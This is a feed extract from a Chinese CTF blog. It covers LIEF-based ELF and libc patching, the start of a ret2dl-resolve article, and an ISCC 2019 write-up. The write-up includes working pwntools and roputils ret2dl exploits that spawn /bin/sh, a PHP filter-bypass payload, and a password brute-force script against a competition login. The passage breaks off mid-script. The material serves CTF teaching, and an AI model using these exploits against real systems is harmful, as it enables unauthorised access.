<content type="html"><![CDATA[<h2 id="patchkit"><a href="#patchkit" class="headerlink" title="patchkit"></a>patchkit</h2><p>挖个坑, 回头填上</p><h2 id="LIEF"><a href="#LIEF" class="headerlink" title="LIEF"></a>LIEF</h2><h3 id="修改ELF"><a href="#修改ELF" class="headerlink" title="修改ELF"></a>修改ELF</h3><p>修改目标文件的导入符号:</p><p>示例程序:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span>** argv)</span> </span>{</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"/bin/bash"</span>);</span><br><span class="line"> <span class="keyword">return</span> EXIT_SUCCESS;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>那么现在要把puts改成system:</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> lief</span><br><span class="line">file = lief.parse(<span class="string">"test"</span>)</span><br><span class="line"><span class="comment"># get puts, system symbol</span></span><br><span class="line">puts_sym = filter(<span class="keyword">lambda</span> e: e.name == <span class="string">"puts"</span>, file.imported_symbols)[<span class="number">0</span>]</span><br><span class="line"><span class="comment"># set puts to system</span></span><br><span class="line">puts_sym.name = <span class="string">"system"</span></span><br><span class="line">file.write(<span class="string">"test.patch"</span>)</span><br><span class="line">print(<span class="string">"done"</span>)</span><br></pre></td></tr></table></figure><pre><code>➜ LIEF_test ./test.patch a@ubuntu:~/LIEF_test$ iduid=1000(a) gid=1000(a) groups=1000(a),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)</code></pre><p>这种方法碰到uaf或者double free之类的很有用, 直接将malloc改为realloc, 这样创建chunk的时候会清空内存, 可以解决很多问题</p><p>示例题目:</p><h3 id="修改libc"><a href="#修改libc" class="headerlink" title="修改libc"></a>修改libc</h3><p>修改libc里的符号, 然后用LD_LIBRARY_PATH加载</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> lief</span><br><span class="line"></span><br><span class="line">libc = lief.parse(<span class="string">'/lib/x86_64-linux-gnu/libc-2.23.so'</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># get puts, system symbol</span></span><br><span class="line">puts_sym = filter(<span class="keyword">lambda</span> e: e.name == <span class="string">"puts"</span>, libc.dynamic_symbols)[<span class="number">0</span>]</span><br><span class="line">system_sym = filter(<span class="keyword">lambda</span> e: e.name == <span class="string">"system"</span>, libc.dynamic_symbols)[<span class="number">0</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># swap them</span></span><br><span class="line">puts_sym.name = <span class="string">"system"</span></span><br><span class="line">system_sym.name = <span class="string">"puts"</span></span><br><span class="line">libc.write(<span class="string">"libc.so.6"</span>)</span><br></pre></td></tr></table></figure><p>然后<code>export LD_LIBRARY_PATH=./:$LD_LIBRARY_PATH</code>即可</p><p>但是只能在当前shell中生效, 如果要在所有shell生效, 需要把下述语句写入~/.bash_profile</p><pre><code>LD_LIBRARY_PATH=path:$LD_LIBRARY_PATHexport LD_LIBRARY_PATH</code></pre><p>如果我们有bash_profile的读写权限的话, 完全可以删掉libc里的system和execve函数, 导致无法用libc getshell</p><h3 id="修改库函数"><a href="#修改库函数" class="headerlink" title="修改库函数"></a>修改库函数</h3><p>碰到一些无法通过简单修改函数符号表之类的elf, 比如未检查size导致的堆溢出之类的, 我们需要增加一些代码来进行修改</p><p>测试程序:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">//test.c</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><math.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> **argv)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (argc != <span class="number">2</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Usage: %s <a> \n"</span>, argv[<span class="number">0</span>]);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">int</span> a = atoi(argv[<span class="number">1</span>]);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"exp(%d) = %f\n"</span>, a, <span class="built_in">exp</span>(a));</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>我们的目标是把<code>exp</code>函数改为我们自定义的<code>hook</code>函数</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">//hook.c</span></span><br><span class="line"><span class="function"><span class="keyword">double</span> <span class="title">hook</span><span class="params">(<span class="keyword">double</span> x)</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> x + <span class="number">100</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>编译: <code>gcc -Os -nostdlib -nodefaultlibs -fPIC -Wl,-shared hook.c -o hook</code></p><p>jio本:</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> lief</span><br><span class="line"></span><br><span class="line">libm = lief.parse(<span class="string">"/lib/x86_64-linux-gnu/libm-2.23.so"</span>)</span><br><span class="line">hook = lief.parse(<span class="string">"hook"</span>)</span><br><span class="line"></span><br><span class="line">segment_added = libm.add(hook.segments[<span class="number">0</span>])</span><br><span class="line"></span><br><span class="line">print(<span class="string">"Hook inserted at VA: 0x{:06x}"</span>.format(segment_added.virtual_address))</span><br><span class="line"></span><br><span class="line">exp_symbol = libm.get_symbol(<span class="string">"exp"</span>)</span><br><span class="line">hook_symbol = hook.get_symbol(<span class="string">"hook"</span>)</span><br><span class="line"></span><br><span class="line">exp_symbol.value = segment_added.virtual_address + hook_symbol.value</span><br><span class="line"></span><br><span class="line">libm.write(<span class="string">"libm.so.6"</span>)</span><br></pre></td></tr></table></figure><p>这样就把libc里的exp函数改为我们的hook函数了</p><h3 id="修改plt-got表"><a href="#修改plt-got表" class="headerlink" title="修改plt/got表"></a>修改plt/got表</h3><p>测试程序:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">//test.c</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Damn_YoU_Got_The_Flag</span></span><br><span class="line"><span class="keyword">char</span> password[] = <span class="string">"\x18\x3d\x31\x32\x03\x05\x33\x09\x03\x1b\x33\x28\x03\x08\x34\x39\x03\x1a\x30\x3d\x3b"</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">inline</span> <span class="keyword">int</span> <span class="title">check</span><span class="params">(<span class="keyword">char</span>* input)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">check</span><span class="params">(<span class="keyword">char</span>* input)</span> </span>{</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < <span class="keyword">sizeof</span>(password) - <span class="number">1</span>; ++i) {</span><br><span class="line"> password[i] ^= <span class="number">0x5c</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">memcmp</span>(password, input, <span class="keyword">sizeof</span>(password) - <span class="number">1</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> **argv)</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (check(argv[<span class="number">1</span>]) == <span class="number">0</span>) {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"You got it !!"</span>);</span><br><span class="line"> <span class="keyword">return</span> EXIT_SUCCESS;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"Wrong"</span>);</span><br><span class="line"> <span class="keyword">return</span> EXIT_FAILURE;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里把memcpy修改为我们自己的memcpy, 把内容打印出来:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">//hook.c</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"arch/x86_64/syscall.c"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> stdout 1</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//gcc -nostdlib -nodefaultlibs -fPIC -Wl,-shared hook.c -o hook</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">my_memcmp</span><span class="params">(<span class="keyword">const</span> <span class="keyword">void</span>* lhs, <span class="keyword">const</span> <span class="keyword">void</span>* rhs, <span class="keyword">int</span> n)</span> </span>{</span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">char</span> msg[] = <span class="string">"Hook add\n"</span>;</span><br><span class="line"> _write(<span class="built_in">stdout</span>, msg, <span class="keyword">sizeof</span>(msg));</span><br><span class="line"> _write(<span class="built_in">stdout</span>, (<span class="keyword">const</span> <span class="keyword">char</span>*)lhs, n);</span><br><span class="line"> _write(<span class="built_in">stdout</span>, <span class="string">"\n"</span>, <span class="number">2</span>);</span><br><span class="line"> _write(<span class="built_in">stdout</span>, (<span class="keyword">const</span> <span class="keyword">char</span>*)rhs, n);</span><br><span class="line"> _write(<span class="built_in">stdout</span>, <span class="string">"\n"</span>, <span class="number">2</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>jio本:</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> lief</span><br><span class="line"></span><br><span class="line">crackme = lief.parse(<span class="string">"crackme.bin"</span>)</span><br><span class="line">hook = lief.parse(<span class="string">"hook"</span>)</span><br><span class="line"></span><br><span class="line">segment_added = crackme.add(hook.segments[<span class="number">0</span>])</span><br><span class="line"></span><br><span class="line">my_memcmp = hook.get_symbol(<span class="string">"my_memcmp"</span>)</span><br><span class="line">my_memcmp_addr = segment_added.virtual_address + my_memcmp.value</span><br><span class="line"></span><br><span class="line">crackme.patch_pltgot(<span class="string">'memcmp'</span>, my_memcmp_addr)</span><br><span class="line">crackme.write(<span class="string">"crackme.hooked"</span>)</span><br></pre></td></tr></table></figure><h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><p><a href="https://bbs.pediy.com/thread-222623.htm">https://bbs.pediy.com/thread-222623.htm</a></p>]]></content>
</entry>
<entry>
<title>栈溢出攻击之Ret2dl</title>
<link href="/2019/05/10/%E6%A0%88%E6%BA%A2%E5%87%BA%E6%94%BB%E5%87%BB%E4%B9%8Bret2dl/"/>
<url>/2019/05/10/%E6%A0%88%E6%BA%A2%E5%87%BA%E6%94%BB%E5%87%BB%E4%B9%8Bret2dl/</url>
<content type="html"><![CDATA[<p>最近几次比赛碰到好几个利用ret2dl进行攻击的题目,这里总结一下具体思路</p><h2 id="识别是否使用ret2dl"><a href="#识别是否使用ret2dl" class="headerlink" title="识别是否使用ret2dl"></a>识别是否使用ret2dl</h2><p>有些栈溢出的题目,明显可以看到使用了gets、memcpy之类的导致栈溢出的函数</p><p>但是题目中没有puts, printf, write等用来输出数据的函数</p><p>无法泄露我们常规栈溢出攻击中所需要的一些地址(libc, 栈基址)</p><p>这时候使用ret2dl是一种有效的方法</p><h2 id="例题"><a href="#例题" class="headerlink" title="例题"></a>例题</h2><p>先通过32位的一个栈溢出来理解原理, 然后完成一个64位程序的攻击, 然后还有两个例题加深一波理解</p><p>文件下载:<a href="https://github.com/Inv0k3r/pwnable_files/raw/master/baby_pwn">baby_pwn </a></p><p>我们用<code>010 Editor</code>打开题目文件,然后在Templates里运行一下ELF模板, 按<code>alt+F4</code>打开Template窗口</p><p><img src="/images/栈溢出攻击之ret2dl/1.png" alt=""></p><p>可以看到一个标准的ELF文件由以下部分组成</p><ul><li>ELF头部</li><li>程序头表</li><li>节区头部表</li><li>符号表</li><li>静态符号表</li></ul><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><ul><li><a href="https://ctf-wiki.org/executable/elf/structure/basic-info/">https://ctf-wiki.org/executable/elf/structure/basic-info/</a></li><li><a href="https://ctf-wiki.org/pwn/linux/stackoverflow/advanced-rop/ret2dlresolve/">https://ctf-wiki.org/pwn/linux/stackoverflow/advanced-rop/ret2dlresolve/</a></li><li><a href="https://firmianay.gitbook.io/ctf-all-in-one/6_writeup/pwn/6.1.3_pwn_xdctf2015_pwn200#ti-mu-fu-xian">https://firmianay.gitbook.io/ctf-all-in-one/6_writeup/pwn/6.1.3_pwn_xdctf2015_pwn200#ti-mu-fu-xian</a></li><li><a href="http://pwn4.fun/2016/11/09/Return-to-dl-resolve/">http://pwn4.fun/2016/11/09/Return-to-dl-resolve/</a></li></ul>]]></content>
<tags>
<tag> ctf </tag>
</tags>
</entry>
<entry>
<title>ISCC 2019 WP</title>
<link href="/2019/05/01/ISCC-2019-WP/"/>
<url>/2019/05/01/ISCC-2019-WP/</url>
<content type="html"><![CDATA[<h2 id="第一周"><a href="#第一周" class="headerlink" title="第一周"></a>第一周</h2><h3 id="pwn1"><a href="#pwn1" class="headerlink" title="pwn1"></a>pwn1</h3><p>标准ret2dl,找了个脚本直接改改就ok</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"><span class="comment">#coding:utf-8</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">elf = ELF(<span class="string">'pwn01'</span>)</span><br><span class="line">read_plt = elf.plt[<span class="string">'read'</span>]</span><br><span class="line">memcpy_plt = elf.plt[<span class="string">'memcpy'</span>]</span><br><span class="line"></span><br><span class="line">ppp_ret = <span class="number">0x08048519</span></span><br><span class="line">pop_ebp_ret = <span class="number">0x0804851b</span></span><br><span class="line">leave_ret = <span class="number">0x080483c5</span></span><br><span class="line">stack_size = <span class="number">0x800</span></span><br><span class="line">bss_addr = <span class="number">0x0804a020</span></span><br><span class="line">base_stage = bss_addr + stack_size</span><br><span class="line"></span><br><span class="line">r = process(<span class="string">'./pwn01'</span>)</span><br><span class="line">payload = <span class="string">'A'</span> * <span class="number">14</span> + p32(<span class="number">0x804a044</span> + <span class="number">18</span>)</span><br><span class="line">payload += p32(read_plt)</span><br><span class="line">payload += p32(ppp_ret)</span><br><span class="line">payload += p32(<span class="number">0</span>)</span><br><span class="line">payload += p32(base_stage)</span><br><span class="line">payload += p32(<span class="number">100</span>)</span><br><span class="line">payload += p32(pop_ebp_ret)</span><br><span class="line">payload += p32(base_stage)</span><br><span class="line">payload += p32(leave_ret)</span><br><span class="line">r.send(payload)</span><br><span class="line"></span><br><span class="line">cmd = <span class="string">"/bin/sh"</span></span><br><span class="line">plt_0 = <span class="number">0x080482f0</span></span><br><span class="line">rel_plt = <span class="number">0x080482b4</span></span><br><span class="line">index_offset = (base_stage + <span class="number">28</span>) - rel_plt</span><br><span class="line"></span><br><span class="line">read_got = elf.got[<span class="string">'read'</span>]</span><br><span class="line"></span><br><span class="line">dynsym = <span class="number">0x080481cc</span></span><br><span class="line">dynstr = <span class="number">0x0804822c</span></span><br><span class="line"></span><br><span class="line">fake_sym_addr = base_stage + <span class="number">36</span></span><br><span class="line">align = <span class="number">0x10</span> - ((fake_sym_addr - dynsym) & <span class="number">0xf</span>)</span><br><span class="line">fake_sym_addr = fake_sym_addr + align</span><br><span class="line">index_dynsym = (fake_sym_addr - dynsym) / <span class="number">0x10</span></span><br><span class="line">r_info = (index_dynsym << <span class="number">8</span>) | <span class="number">0x7</span></span><br><span class="line">fake_reloc = p32(read_got) + p32(r_info)</span><br><span class="line">st_name = (fake_sym_addr + <span class="number">16</span>) - dynstr</span><br><span class="line">fake_sym = p32(st_name) + p32(<span class="number">0</span>) + p32(<span class="number">0</span>) + p32(<span class="number">0x12</span>)</span><br><span class="line"></span><br><span class="line">payload2 = <span class="string">'aaaa'</span></span><br><span class="line">payload2 += p32(plt_0)</span><br><span class="line">payload2 += p32(index_offset)</span><br><span class="line">payload2 += <span class="string">'aaaa'</span></span><br><span class="line">payload2 += p32(base_stage + <span class="number">80</span>)</span><br><span class="line">payload2 += <span class="string">'aaaa'</span></span><br><span class="line">payload2 += <span class="string">'aaaa'</span></span><br><span class="line">payload2 += fake_reloc</span><br><span class="line">payload2 += <span class="string">'a'</span> * align</span><br><span class="line">payload2 += fake_sym </span><br><span class="line">payload2 += <span class="string">"system\x00"</span></span><br><span class="line">payload2 += <span class="string">'a'</span> * (<span class="number">80</span> - len(payload2))</span><br><span class="line">payload2 += cmd + <span class="string">'\x00'</span></span><br><span class="line">payload2 += <span class="string">'a'</span> * (<span class="number">100</span> - len(payload2))</span><br><span class="line">r.send(payload2)</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python2.7</span></span><br><span class="line"><span class="keyword">from</span> roputils <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> process</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> gdb</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> context</span><br><span class="line"></span><br><span class="line">r = process(<span class="string">'./pwn01'</span>)</span><br><span class="line"><span class="comment"># context.log_level = 'debug'</span></span><br><span class="line">context(arch=<span class="string">'amd64'</span>, os=<span class="string">'linux'</span>)</span><br><span class="line">rop = ROP(<span class="string">'./pwn01'</span>)</span><br><span class="line">bss_base = rop.section(<span class="string">'.bss'</span>)</span><br><span class="line">buf = <span class="string">'A'</span> * <span class="number">14</span> + p32(<span class="number">0x804a044</span> + <span class="number">18</span>)</span><br><span class="line">buf += rop.call(<span class="string">'read'</span>, <span class="number">0</span>, bss_base, <span class="number">100</span>)</span><br><span class="line"><span class="comment">## used to call dl_Resolve()</span></span><br><span class="line">buf += rop.dl_resolve_call(bss_base + <span class="number">20</span>, bss_base)</span><br><span class="line">r.send(buf)</span><br><span class="line">buf = rop.string(<span class="string">'/bin/sh'</span>)</span><br><span class="line">buf += rop.fill(<span class="number">20</span>, buf)</span><br><span class="line"><span class="comment">## used to make faking data, such relocation, Symbol, Str</span></span><br><span class="line">buf += rop.dl_resolve_data(bss_base + <span class="number">20</span>, <span class="string">'system'</span>)</span><br><span class="line">buf += rop.fill(<span class="number">100</span>, buf)</span><br><span class="line">r.send(buf)</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><h3 id="web1"><a href="#web1" class="headerlink" title="web1"></a>web1</h3><p>给了源码,按题目绕过即可</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line"><span class="keyword">require</span> <span class="string">'flag.php'</span>;</span><br><span class="line">$value = $_GET[<span class="string">'value'</span>];</span><br><span class="line">$password = $_GET[<span class="string">'password'</span>];</span><br><span class="line">$username = <span class="string">''</span><span class="keyword">for</span> ($i = <span class="number">0</span>; $i < count($value); ++$i) {</span><br><span class="line"> <span class="keyword">if</span> ($value[$i] > <span class="number">32</span> && $value[$i] < <span class="number">127</span>) <span class="keyword">unset</span>($value);</span><br><span class="line"> <span class="keyword">else</span> $username .= chr($value[$i]);</span><br><span class="line"> <span class="keyword">if</span> ($username == <span class="string">'w3lc0me_To_ISCC2019'</span> && intval($password) < <span class="number">2333</span> && intval($password + <span class="number">1</span>) > <span class="number">2333</span>) {</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'Hello '</span>.$username.<span class="string">'!'</span>, <span class="string">'<br>'</span>, PHP_EOL;</span><br><span class="line"> <span class="keyword">echo</span> $flag, <span class="string">'<hr>'</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">highlight_file(<span class="keyword">__FILE__</span>);</span><br></pre></td></tr></table></figure><p>payload:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line">/index.php?value[<span class="number">0</span>]=<span class="number">375</span>&value[<span class="number">1</span>]=<span class="number">307</span>&value[<span class="number">2</span>]=<span class="number">364</span>&value[<span class="number">3</span>]=<span class="number">355</span>&value[<span class="number">4</span>]=<span class="number">304</span>&value[<span class="number">5</span>]=<span class="number">365</span>&value[<span class="number">6</span>]=<span class="number">357</span>&value[<span class="number">7</span>]=<span class="number">351</span>&value[<span class="number">8</span>]=<span class="number">340</span>&value[<span class="number">9</span>]=<span class="number">367</span>&value[<span class="number">10</span>]=<span class="number">351</span>&value[<span class="number">11</span>]=<span class="number">329</span>&value[<span class="number">12</span>]=<span class="number">339</span>&value[<span class="number">13</span>]=<span class="number">323</span>&value[<span class="number">14</span>]=<span class="number">323</span>&value[<span class="number">15</span>]=<span class="number">306</span>&value[<span class="number">16</span>]=<span class="number">304</span>&value[<span class="number">17</span>]=<span class="number">305</span>&value[<span class="number">18</span>]=<span class="number">313</span>&password=<span class="number">0x91d</span></span><br></pre></td></tr></table></figure></p><h3 id="web2"><a href="#web2" class="headerlink" title="web2"></a>web2</h3><p>验证码没check。。。直接置空就可以爆破了</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding:utf-8 -*-</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line">url = <span class="string">'http://39.100.83.188:8002/login.php'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>, <span class="number">1000</span>):</span><br><span class="line"> para = {</span><br><span class="line"> <span class="string">'username'</span>: <span class="string">'admin'</span>,</span><br><span class="line"> <span class="string">'pwd'</span>: str(i),</span><br><span class="line"> <span class="string">'user_code'</span>: <span class="string">''</span>,</span><br><span class="line"> <span class="string">'Login'</span>: <span class="string">'submit'</span></span><br><span class="line"> }</span><br><span class="line"> r = requests.post(url, data=para)</span><br><span class="line"> <span class="keyword">if</span> r.content.decode(<span class="string">'utf-8'</span>) != <span class="string">'密码错误'</span>:</span><br><span class="line"> print(<span class="string">"Password: "</span> + str(i))</span><br></pre></td></tr></table></figure><p>密码996,啧</p><h3 id="re1"><a href="#re1" class="headerlink" title="re1"></a>re1</h3><p>ida启动,程序功能是输入42,输出一段莫名其妙的字符串</p><pre><code>Cipher from Bill \nSubmit without any tags\n#kdudpeh</code></pre><p>否则输出英文版<code>你个傻逼</code></p><p>flag是sha1后的#后面字母,搞不懂出题人思路,也没看懂他们怎么做出来的,也别问我怎么做出来,打这种比赛人脉还是要有的,《情商》没事多读一读</p><h3 id="re2"><a href="#re2" class="headerlink" title="re2"></a>re2</h3><p>ida打开 没见过这种形式的题,搜了一下几个关键函数名,找到了原题</p><p>R写的程序,感觉逆起来难度蛮高</p><p><a href="https://www.360zhijia.com/anquan/441368.html">https://www.360zhijia.com/anquan/441368.html</a></p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">cipher = [<span class="number">0x154</span>, <span class="number">0x180</span>, <span class="number">0x1FC</span>, <span class="number">0x1E4</span>, <span class="number">0x1F8</span>, <span class="number">0x154</span>, <span class="number">0x190</span>, <span class="number">0x1BC</span>, <span class="number">0x1BC</span>, <span class="number">0x1B8</span>, <span class="number">0x154</span>, <span class="number">0x1F8</span>, <span class="number">0x194</span>, <span class="number">0x154</span>, <span class="number">0x1B4</span>, <span class="number">0x1BC</span>, <span class="number">0x1F8</span>, <span class="number">0x154</span>, <span class="number">0x1F4</span>, <span class="number">0x188</span>, <span class="number">0x1AC</span>, <span class="number">0x1F8</span>, <span class="number">0x154</span>, <span class="number">0x18C</span>, <span class="number">0x1E4</span>, <span class="number">0x154</span>, <span class="number">0x190</span>, <span class="number">0x1BC</span>, <span class="number">0x1BC</span>, <span class="number">0x1B8</span>, <span class="number">0x1BC</span>, <span class="number">0x1B8</span>, <span class="number">0x154</span>, <span class="number">0x90</span>]</span><br><span class="line"></span><br><span class="line">cipher = <span class="string">''</span>.join(map(<span class="keyword">lambda</span> x: chr((x>><span class="number">2</span>) ^ <span class="number">0xa</span>), cipher))</span><br><span class="line"><span class="keyword">print</span> cipher</span><br></pre></td></tr></table></figure><h3 id="misc-50"><a href="#misc-50" class="headerlink" title="misc 50"></a>misc 50</h3><p>文件里是一段看起来是8进制的数据,直接转ASCII即可,然后用base64解一下</p><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line"># -*- coding:utf-8 -*-</span><br><span class="line">import base64</span><br><span class="line">m = '0126 062 0126 0163 0142 0103 0102 0153 0142 062 065 0154 0111 0121 0157 0113 0111 0105 0132 0163 0131 0127 0143 ' \</span><br><span class="line"> '066 0111 0105 0154 0124 0121 060 0116 067 0124 0152 0102 0146 0115 0107 065 0154 0130 062 0116 0150 0142 0154 ' \</span><br><span class="line"> '071 0172 0144 0104 0102 0167 0130 063 0153 0167 0144 0130 060 0113'</span><br><span class="line">m = m.split(' ')</span><br><span class="line">flag = ''</span><br><span class="line">for i in m:</span><br><span class="line"> flag += chr(int(i, 8))</span><br><span class="line">print(base64.b64decode(flag))</span><br></pre></td></tr></table></figure><h3 id="misc-100"><a href="#misc-100" class="headerlink" title="misc 100"></a>misc 100</h3><p>PNG的LSB低位隐写,stegsolve一把梭,结果反向即为flag</p><p>9102_cCsI</p><h3 id="misc-200"><a href="#misc-200" class="headerlink" title="misc 200"></a>misc 200</h3><p>键盘密码</p><p>wdnmd眼睛要瞎了</p><pre><code>{ISCC-KEYbYHNMKJTGBNMJUYGRDXCVBMNBVCDRTGHUWSXCFEQWERTYTRFVBWSXNBVCXSWERFRFVGYHNWSXCDEMNBVCDRTGHU}{WSX IUYHNBV TRFVB TRFVB QWERTY QAZSCE EFVT YHNMKJ TGBNMJUY GRDXCVB MNBVCDRTGHU WSXCFE QWERTYTRFVBWSXNBVCXSWERFRFVGYHNWSXCDEMNBVCDRTGHU}FLAG{ISCC KEYBOARD CIPHER}</code></pre><h3 id="misc300"><a href="#misc300" class="headerlink" title="misc300"></a>misc300</h3><p>写个脚本把图拼起来</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding:utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"></span><br><span class="line"><span class="comment"># 124 * 70</span></span><br><span class="line">file = <span class="string">'./files/IMG0000'</span></span><br><span class="line"><span class="comment"># m = [[[0 for i in range(3)] for j in range(124)] for k in range(70)]</span></span><br><span class="line">image = Image.open(file + str(<span class="number">0</span>) + <span class="string">'.bmp'</span>)</span><br><span class="line">m = np.asarray(image)</span><br><span class="line">m.flags[<span class="string">'WRITEABLE'</span>] = <span class="literal">True</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>, <span class="number">9</span>):</span><br><span class="line"> image = Image.open(file + str(i) + <span class="string">'.bmp'</span>)</span><br><span class="line"> matrix = np.asarray(image)</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> range(<span class="number">70</span>):</span><br><span class="line"> <span class="keyword">for</span> k <span class="keyword">in</span> range(<span class="number">124</span>):</span><br><span class="line"> <span class="keyword">if</span> matrix[j][k][<span class="number">0</span>] != <span class="number">0</span> <span class="keyword">and</span> m[j][k][<span class="number">0</span>] == <span class="number">0</span>:</span><br><span class="line"> <span class="keyword">for</span> l <span class="keyword">in</span> range(<span class="number">3</span>):</span><br><span class="line"> m[j][k][l] = matrix[j][k][l]</span><br><span class="line"></span><br><span class="line">image = Image.fromarray(m)</span><br><span class="line">image.show()</span><br></pre></td></tr></table></figure><p>GIF尾部有一段</p><pre><code>U2FsdGVkX19QwGkcgD0fTjZxgijRzQOGbCWALh4sRDec2w6xsY/ux53Vuj/AMZBDJ87qyZL5kAf1fmAH4Oe13Iu435bfRBuZgHpnRjTBn5+xsDHONiR3t0+Oa8yG/tOKJMNUauedvMyN4v4QKiFunw==</code></pre><p>解两次AES,密码是图上的ISCC</p><p>WDNMD</p><h3 id="misc400"><a href="#misc400" class="headerlink" title="misc400"></a>misc400</h3><p>binwalk一把梭,出来的图片每张末尾有1250的padding</p><p>转成50*25的矩阵,然后十张图拼起来即可</p><p>别问我怎么知道的,吾好梦中做题</p><p>脚本:<br><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding:utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> typing <span class="keyword">import</span> List</span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"><span class="comment"># file read</span></span><br><span class="line">path = <span class="string">'./files/puzzle'</span></span><br><span class="line">paddings: List[bytes] = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span 